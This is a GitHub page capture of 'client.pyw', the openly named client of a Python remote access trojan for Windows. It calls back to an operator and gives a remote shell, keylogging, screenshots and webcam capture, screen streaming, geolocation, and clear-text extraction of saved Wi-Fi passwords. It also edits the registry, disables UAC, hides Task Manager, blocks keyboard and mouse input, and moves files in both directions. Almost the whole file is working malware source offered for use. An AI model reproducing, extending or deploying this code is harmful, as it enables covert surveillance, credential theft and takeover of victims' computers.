-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathclient.pyw
610 lines (528 loc) · 25.1 KB
/
client.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
import random
import socket, subprocess, os, platform
from threading import Thread
from PIL import Image
from datetime import datetime
from ctypes import cast, POINTER
from comtypes import CLSCTX_ALL
from winreg import *
import shutil
import glob
import ctypes
import sys
import webbrowser
import re
import pyautogui
import cv2
import urllib.request
import json
from pynput.keyboard import Listener
from pynput.mouse import Controller
import time
import keyboard
user32 = ctypes.WinDLL('user32')
kernel32 = ctypes.WinDLL('kernel32')
HWND_BROADCAST = 65535
WM_SYSCOMMAND = 274
SC_MONITORPOWER = 61808
GENERIC_READ = -2147483648
GENERIC_WRITE = 1073741824
FILE_SHARE_WRITE = 2
FILE_SHARE_READ = 1
FILE_SHARE_DELETE = 4
CREATE_ALWAYS = 2
class RAT_CLIENT:
def __init__(self, host, port):
self.host = host
self.port = port
self.curdir = os.getcwd()
def build_connection(self):
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.port))
sending = socket.gethostbyname(socket.gethostname())
s.send(sending.encode())
def errorsend(self):
output = bytearray("no output", encoding='utf8')
for i in range(len(output)):
output[i] ^= 0x41
s.send(output)
def keylogger(self):
def on_press(key):
if klgr == True:
with open('keylogs.txt', 'a') as f:
f.write(f'{key}')
f.close()
with Listener(on_press=on_press) as listener:
listener.join()
def block_task_manager(self):
if ctypes.windll.shell32.IsUserAnAdmin() == 1:
while (1):
if block == True:
hwnd = user32.FindWindowW(0, "Task Manager")
user32.ShowWindow(hwnd, 0)
ctypes.windll.kernel32.Sleep(500)
def disable_all(self):
while True:
user32.BlockInput(True)
def disable_mouse(self):
mouse = Controller()
t_end = time.time() + 3600*24*11
while time.time() < t_end and mousedbl == True:
mouse.position = (0, 0)
def disable_keyboard(self):
for i in range(150):
if kbrd == True:
keyboard.block_key(i)
time.sleep(999999)
def execute(self):
while True:
command = s.recv(1024).decode()
if command == 'shell':
while 1:
command = s.recv(1024).decode()
if command.lower() == 'exit' :
break
if command == 'cd':
os.chdir(command[3:].decode('utf-8'))
dir = os.getcwd()
dir1 = str(dir)
s.send(dir1.encode())
output = subprocess.getoutput(command)
s.send(output.encode())
if not output:
self.errorsend()
elif command == 'screenshare':
try:
from vidstream import ScreenShareClient
screen = ScreenShareClient(self.host, 8080)
screen.start_stream()
except:
s.send("Impossible to get screen")
elif command == 'webcam':
try:
from vidstream import CameraClient
cam = CameraClient(self.host, 8080)
cam.start_stream()
except:
s.send("Impossible to get webcam")
elif command == 'breakstream':
pass
elif command == 'list':
pass
elif command == 'geolocate':
with urllib.request.urlopen("https://geolocation-db.com/json") as url:
data = json.loads(url.read().decode())
link = f"http://www.google.com/maps/place/{data['latitude']},{data['longitude']}"
s.send(link.encode())
elif command == 'setvalue':
const = s.recv(1024).decode()
root = s.recv(1024).decode()
key2 = s.recv(1024).decode()
value = s.recv(1024).decode()
try:
if const == 'HKEY_CURRENT_USER':
key = OpenKey(HKEY_CURRENT_USER, root, 0, KEY_ALL_ACCESS)
SetValueEx(key, key2, 0, REG_SZ, str(value))
CloseKey(key)
if const == 'HKEY_CLASSES_ROOT':
key = OpenKey(HKEY_CLASSES_ROOT, root, 0, KEY_ALL_ACCESS)
SetValueEx(key, key2, 0, REG_SZ, str(value))
CloseKey(key)
if const == 'HKEY_LOCAL_MACHINE':
key = OpenKey(HKEY_LOCAL_MACHINE, root, 0, KEY_ALL_ACCESS)
SetValueEx(key, key2, 0, REG_SZ, str(value))
CloseKey(key)
if const == 'HKEY_USERS':
key = OpenKey(HKEY_USERS, root, 0, KEY_ALL_ACCESS)
SetValueEx(key, key2, 0, REG_SZ, str(value))
CloseKey(key)
if const == 'HKEY_CLASSES_ROOT':
key = OpenKey(HKEY_CLASSES_ROOT, root, 0, KEY_ALL_ACCESS)
SetValueEx(key, key2, 0, REG_SZ, str(value))
CloseKey(key)
if const == 'HKEY_CURRENT_CONFIG':
key = OpenKey(HKEY_CURRENT_CONFIG, root, 0, KEY_ALL_ACCESS)
SetValueEx(key, key2, 0, REG_SZ, str(value))
CloseKey(key)
s.send("Value is set".encode())
except:
s.send("Impossible to create key".encode())
elif command == 'delkey':
const = s.recv(1024).decode()
root = s.recv(1024).decode()
try:
if const == 'HKEY_CURRENT_USER':
DeleteKeyEx(HKEY_CURRENT_USER, root, KEY_ALL_ACCESS, 0)
if const == 'HKEY_LOCAL_MACHINE':
DeleteKeyEx(HKEY_LOCAL_MACHINE, root, KEY_ALL_ACCESS, 0)
if const == 'HKEY_USERS':
DeleteKeyEx(HKEY_USERS, root, KEY_ALL_ACCESS, 0)
if const == 'HKEY_CLASSES_ROOT':
DeleteKeyEx(HKEY_CLASSES_ROOT, root, KEY_ALL_ACCESS, 0)
if const == 'HKEY_CURRENT_CONFIG':
DeleteKeyEx(HKEY_CURRENT_CONFIG, root, KEY_ALL_ACCESS, 0)
s.send("Key is deleted".encode())
except:
s.send("Impossible to delete key".encode())
elif command == 'createkey':
const = s.recv(1024).decode()
root = s.recv(1024).decode()
try:
if const == 'HKEY_CURRENT_USER':
CreateKeyEx(HKEY_CURRENT_USER, root, 0, KEY_ALL_ACCESS)
if const == 'HKEY_LOCAL_MACHINE':
CreateKeyEx(HKEY_LOCAL_MACHINE, root, 0, KEY_ALL_ACCESS)
if const == 'HKEY_USERS':
CreateKeyEx(HKEY_USERS, root, 0, KEY_ALL_ACCESS)
if const == 'HKEY_CLASSES_ROOT':
CreateKeyEx(HKEY_CLASSES_ROOT, root, 0, KEY_ALL_ACCESS)
if const == 'HKEY_CURRENT_CONFIG':
CreateKeyEx(HKEY_CURRENT_CONFIG, root, 0, KEY_ALL_ACCESS)
s.send("Key is created".encode())
except:
s.send("Impossible to create key".encode())
elif command == 'volumeup':
try:
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
devices = AudioUtilities.GetSpeakers()
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume = cast(interface, POINTER(IAudioEndpointVolume))
if volume.GetMute() == 1:
volume.SetMute(0, None)
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[1], None)
s.send("Volume is increased to 100%".encode())
except:
s.send("Module is not founded".encode())
elif command == 'volumedown':
try:
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
devices = AudioUtilities.GetSpeakers()
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume = cast(interface, POINTER(IAudioEndpointVolume))
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[0], None)
s.send("Volume is decreased to 0%".encode())
except:
s.send("Module is not founded".encode())
elif command == 'setwallpaper':
pic = s.recv(6000).decode()
try:
ctypes.windll.user32.SystemParametersInfoW(20, 0, pic, 0)
s.send(f'{pic} is set as a wallpaper'.encode())
except:
s.send("No such file")
elif command == 'usbdrivers':
p = subprocess.check_output(["powershell.exe", "Get-PnpDevice -PresentOnly | Where-Object { $_.InstanceId -match '^USB' }"], encoding='utf-8')
s.send(p.encode())
elif command == 'monitors':
p = subprocess.check_output(["powershell.exe", "Get-CimInstance -Namespace root\wmi -ClassName WmiMonitorBasicDisplayParams"], encoding='utf-8')
s.send(p.encode())
elif command == 'sysinfo':
sysinfo = str(f'''
System: {platform.platform()} {platform.win32_edition()}
Architecture: {platform.architecture()}
Name of Computer: {platform.node()}
Processor: {platform.processor()}
Python: {platform.python_version()}
Java: {platform.java_ver()}
User: {os.getlogin()}
''')
s.send(sysinfo.encode())
elif command == 'reboot':
os.system("shutdown /r /t 1")
s.send(f'{socket.gethostbyname(socket.gethostname())} is being rebooted'.encode())
elif command[:7] == 'writein':
pyautogui.write(command.split(" ")[1])
s.send(f'{command.split(" ")[1]} is written'.encode())
elif command[:8] == 'readfile':
try:
f = open(command[9:], 'r')
data = f.read()
if not data: s.send("No data".encode())
f.close()
s.send(data.encode())
except:
s.send("No such file in directory".encode())
elif command[:7] == 'abspath':
try:
path = os.path.abspath(command[8:])
s.send(path.encode())
except:
s.send("No such file in directory".encode())
elif command == 'pwd':
curdir = str(os.getcwd())
s.send(curdir.encode())
elif command == 'ipconfig':
output = subprocess.check_output('ipconfig', encoding='oem')
s.send(output.encode())
elif command == 'portscan':
output = subprocess.check_output('netstat -an', encoding='oem')
s.send(output.encode())
elif command == 'tasklist':
output = subprocess.check_output('tasklist', encoding='oem')
s.send(output.encode())
elif command == 'profiles':
output = subprocess.check_output('netsh wlan show profiles', encoding='oem')
s.send(output.encode())
elif command == 'profilepswd':
profile = s.recv(6000)
profile = profile.decode()
try:
output = subprocess.check_output(f'netsh wlan show profile {profile} key=clear', encoding='oem')
s.send(output.encode())
except:
self.errorsend()
elif command == 'systeminfo':
output = subprocess.check_output(f'systeminfo', encoding='oem')
s.send(output.encode())
elif command == 'sendmessage':
text = s.recv(6000).decode()
title = s.recv(6000).decode()
s.send('MessageBox has appeared'.encode())
user32.MessageBoxW(0, text, title, 0x00000000 | 0x00000040)
elif command.startswith("disable") and command.endswith("--all"):
Thread(target=self.disable_all, daemon=True).start()
s.send("Keyboard and mouse are disabled".encode())
elif command.startswith("disable") and command.endswith("--keyboard"):
global kbrd
kbrd = True
Thread(target=self.disable_keyboard, daemon=True).start()
s.send("Keyboard is disabled".encode())
elif command.startswith("disable") and command.endswith("--mouse"):
global mousedbl
mousedbl = True
Thread(target=self.disable_mouse, daemon=True).start()
s.send("Mouse is disabled".encode())
elif command == 'disableUAC':
os.system("reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f")
elif command.startswith("enable") and command.endswith("--keyboard"):
kbrd = False
s.send("Mouse and keyboard are unblocked".encode())
elif command.startswith("enable") and command.endswith("--mouse"):
mousedbl = False
s.send("Mouse is enabled".encode())
elif command.startswith("enable") and command.endswith("--all"):
user32.BlockInput(False)
s.send("Keyboard and mouse are enabled".encode())
elif command == 'turnoffmon':
s.send(f"{socket.gethostbyname(socket.gethostname())}'s monitor was turned off".encode())
user32.SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2)
elif command == 'turnonmon':
s.send(f"{socket.gethostbyname(socket.gethostname())}'s monitor was turned on".encode())
user32.SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, -1)
elif command == 'extendrights':
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
sending = f"{socket.gethostbyname(socket.gethostname())}'s rights were escalated"
s.send(sending.encode())
elif command == 'isuseradmin':
if ctypes.windll.shell32.IsUserAnAdmin() == 1:
sending = f'{socket.gethostbyname(socket.gethostname())} is admin'
s.send(sending.encode())
else:
sending = f'{socket.gethostbyname(socket.gethostname())} is not admin'
s.send(sending.encode())
elif command == 'keyscan_start':
global klgr
klgr = True
kernel32.CreateFileW(b'keylogs.txt', GENERIC_WRITE & GENERIC_READ,
FILE_SHARE_WRITE & FILE_SHARE_READ & FILE_SHARE_DELETE,
None, CREATE_ALWAYS , 0, 0)
Thread(target=self.keylogger, daemon=True).start()
s.send("Keylogger is started".encode())
elif command == 'send_logs':
try:
f = open("keylogs.txt", 'r')
lines = f.readlines()
f.close()
s.send(str(lines).encode())
os.remove('keylogs.txt')
except:
self.errorsend()
elif command == 'stop_keylogger':
klgr = False
s.send("The session of keylogger is terminated".encode())
elif command == 'cpu_cores':
output = os.cpu_count()
s.send(str(output).encode())
elif command[:7] == 'delfile':
try:
os.remove(command[8:])
s.send(f'{command[8:]} was successfully deleted'.encode())
except:
self.errorsend()
elif command[:8] == 'editfile':
try:
with open(command.split(" ")[1], 'a') as f:
f.write(command.split(" ")[2])
f.close()
sending = f'{command.split(" ")[2]} was written to {command.split(" ")[1]}'
s.send(sending.encode())
except:
self.errorsend()
elif command[:2] == 'cp':
try:
shutil.copyfile(command.split(" ")[1], command.split(" ")[2])
s.send(f'{command.split(" ")[1]} was copied to {command.split(" ")[2]}'.encode())
except:
self.errorsend()
elif command[:2] == 'mv':
try:
shutil.move(command.split(" ")[1], command.split(" ")[2])
s.send(f'File was moved from {command.split(" ")[1]} to {command.split(" ")[2]}'.encode())
except:
self.errorsend()
elif command[:2] == 'cd':
command = command[3:]
try:
os.chdir(command)
curdir = str(os.getcwd())
s.send(curdir.encode())
except:
s.send("No such directory".encode())
elif command == 'cd ..':
os.chdir('..')
curdir = str(os.getcwd())
s.send(curdir.encode())
elif command == 'dir':
try:
output = subprocess.check_output(["dir"], shell=True)
output = output.decode('utf8', errors='ignore')
s.send(output.encode())
except:
self.errorsend()
elif command[1:2] == ':':
try:
os.chdir(command)
curdir = str(os.getcwd())
s.send(curdir.encode())
except:
s.send("No such directory".encode())
elif command[:10] == 'createfile':
kernel32.CreateFileW(command[11:], GENERIC_WRITE & GENERIC_READ,
FILE_SHARE_WRITE & FILE_SHARE_READ & FILE_SHARE_DELETE,
None, CREATE_ALWAYS , 0, 0)
s.send(f'{command[11:]} was created'.encode())
elif command[:10] == 'searchfile':
for x in glob.glob(command.split(" ")[2]+"\\**\*", recursive=True):
if x.endswith(command.split(" ")[1]):
path = os.path.abspath(x)
s.send(str(path).encode())
else:
continue
elif command == 'curpid':
pid = os.getpid()
s.send(str(pid).encode())
elif command == 'drivers':
drives = []
bitmask = kernel32.GetLogicalDrives()
letter = ord('A')
while bitmask > 0:
if bitmask & 1:
drives.append(chr(letter) + ':\\')
bitmask >>= 1
letter += 1
s.send(str(drives).encode())
elif command[:4] == 'kill':
try:
os.system(f'TASKKILL /F /im {command[5:]}')
s.send(f'{command[5:]} was terminated'.encode())
except:
self.errorsend()
elif command == 'shutdown':
os.system('shutdown /s /t 1')
sending = f"{socket.gethostbyname(socket.gethostname())} was shutdown"
s.send()
elif command == 'disabletaskmgr':
global block
block = True
Thread(target=self.block_task_manager, daemon=True).start()
s.send("Task Manager is disabled".encode())
elif command == 'enabletaskmgr':
block = False
s.send("Task Manager is enabled".encode())
elif command == 'localtime':
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
s.send(str(current_time).encode())
elif command[:9] == 'startfile':
try:
s.send(f'{command[10:]} was started'.encode())
os.startfile(command[10:])
except:
self.errorsend()
elif command[:8] == 'download':
try:
file = open(command.split(" ")[1], 'rb')
data = file.read()
s.send(data)
except:
self.errorsend()
elif command == 'upload':
filename = s.recv(6000)
newfile = open(filename, 'wb')
data = s.recv(6000)
newfile.write(data)
newfile.close()
elif command[:5] == 'mkdir':
try:
os.mkdir(command[6:])
s.send(f'Directory {command[6:]} was created'.encode())
except:
self.errorsend()
elif command[:5] == 'rmdir':
try:
shutil.rmtree(command[6:])
s.send(f'Directory {command[6:]} was removed'.encode())
except:
self.errorsend()
elif command == 'browser':
quiery = s.recv(6000)
quiery = quiery.decode()
try:
if re.search(r'\.', quiery):
webbrowser.open_new_tab('https://' + quiery)
elif re.search(r'\ ', quiery):
webbrowser.open_new_tab('https://yandex.ru/search/?text='+quiery)
else:
webbrowser.open_new_tab('https://yandex.ru/search/?text=' + quiery)
s.send("The tab is opened".encode())
except:
self.errorsend()
elif command == 'screenshot':
try:
file = f'{random.randint(111111, 444444)}.png'
file2 = f'{random.randint(555555, 999999)}.png'
pyautogui.screenshot(file)
image = Image.open(file)
new_image = image.resize((1920, 1080))
new_image.save(file2)
file = open(file2, 'rb')
data = file.read()
s.send(data)
except:
self.errorsend()
elif command == 'webcam_snap':
try:
file = f'{random.randint(111111, 444444)}.png'
file2 = f'{random.randint(555555, 999999)}.png'
global return_value, i
cam = cv2.VideoCapture(0)
for i in range(1):
return_value, image = cam.read()
filename = cv2.imwrite(f'{file}', image)
del(cam)
image = Image.open(file)
new_image = image.resize((1920, 1080))
new_image.save(file2)
file = open(file2, 'rb')
data = file.read()
s.send(data)
except:
self.errorsend()
elif command == 'exit':
s.send(b"exit")
break
rat = RAT_CLIENT('127.0.0.1', 4444)
if __name__ == '__main__':
rat.build_connection()
rat.execute()